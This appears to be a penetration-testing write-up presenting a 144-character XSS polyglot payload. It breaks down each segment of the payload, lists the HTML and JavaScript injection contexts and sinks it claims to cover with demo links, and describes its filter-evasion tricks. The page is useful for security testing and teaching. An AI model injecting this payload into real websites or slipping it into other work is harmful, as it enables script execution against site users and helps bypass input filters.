XSS Polyglot

Foreword:

When it comes to testing for cross-site scripting vulnerabilities (a.k.a. XSS), youโ€™re generally faced with a variety of injection contexts where each of which requires you to alter your injection payload so it suites the specific context at hand. This can be too tedious and time consuming in most cases, but luckily, XSS polyglots can come in handy here to save us a lot of time and effort.


What is an XSS polyglot?

An XSS polyglot can be generally defined as any XSS vector that is executable within various injection contexts in its raw form.

So, what polyglot you came up with?

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Anatomy of the polyglot (in a nutshell):

  • jaVasCript:: A label in ECMAScript; a URI scheme otherwise.

  • /*-/*`/*\`/*'/*"/**/: A multi-line comment in ECMAScript; a literal-breaker sequence.

  • (/* */oNcliCk=alert() ): A tangled execution zone wrapped in invoking parenthesis!

  • //%0D%0A%0d%0a//: A single-line comment in ECMAScript; a double-CRLF in HTTP response headers.

  • </stYle/</titLe/</teXtarEa/</scRipt/--!>: A sneaky HTML-tag-breaker sequence.

  • \x3csVg/<sVg/oNloAd=alert()//>\x3e: An innocuous svg element.

Total length: 144 characters.

What injection contexts does it cover?

HTML contexts covered:

  • Double-quoted tag attributes:

Demo: https://jsbin.com/dopepi

  • Single-quoted tag attributes:

Demo: https://jsbin.com/diwedo

  • Unquoted tag attributes:

Demo: https://jsbin.com/zizuvad

  • Unquoted tag attributes with HTML-escaped values (may require a click):

Demo: https://jsbin.com/gopavuz (note that the click might not be needed with elements that support the onload event handler.)

  • href/xlink:href and src attributes with HTML-escaped values:

Demo: https://jsbin.com/kixepi

Demo: https://jsbin.com/bezofuw

Demo: https://jsbin.com/feziyi

  • HTML comments:

Demo: https://jsbin.com/taqizu

  • Arbitrary common HTML tags:

Demo: https://jsbin.com/juzuvu

Demo: https://jsbin.com/qonawa

Demo: https://jsbin.com/mecexo

Demo: https://jsbin.com/wuvumuh

Script contexts covered:

  • Double-quoted strings:

Demo: https://jsbin.com/coteco

  • Single-quoted strings:

Demo: https://jsbin.com/bupera

  • Template strings/literals (ES6):

Demo: https://jsbin.com/rewapay

  • Regular expression literals:

Demo: https://jsbin.com/zepiti

  • Single-line and multi-line comments:

Demo: https://jsbin.com/fatorag

Demo: https://jsbin.com/vovogo

JS sinks:

  • eval:

Demo: https://jsbin.com/qejisu#jaVasCript:/*-/*%60/%5C%60/*'/%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • setTimeout:

Demo: https://jsbin.com/qawusa?jaVasCript:/*-/*%60/*%5C%60/*'/*%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • setInterval:

Demo: https://jsbin.com/colese?jaVasCript:/*-/*%60/*%5C%60/*'/*%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • Function:

Demo: https://jsbin.com/hizemi?jaVasCript:/*-/*%60/*%5C%60/*'/*%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • innerHTML/outerHTML and document.write with HTML-escaped strings:

Demo: https://jsbin.com/nimokaz

Demo: https://jsbin.com/yowivo

Demo: https://jsbin.com/ruhofi

  • Event handlers with HTML-escaped values:

Demo: https://jsbin.com/puboha

Filter evasion:

As you might have already noticed, the polyglot has been crafted with filter evasion in mind. For instance:

  • jaVasCript:, oNcliCk=, et al. bypasses:

  • /*`/*\` bypasses:

  • </stYle/</titLe/</teXtarEa/</scRipt/--!> bypasses:

  • --!> bypasses:

  • <sVg/oNloAd=alert()//> bypasses:

Bonus attacking contexts covered:

CRLF-based XSS:

Error-based SQL injections (yes, SQLi!):

And even more; eish...I'm tired counting down already!

Last updated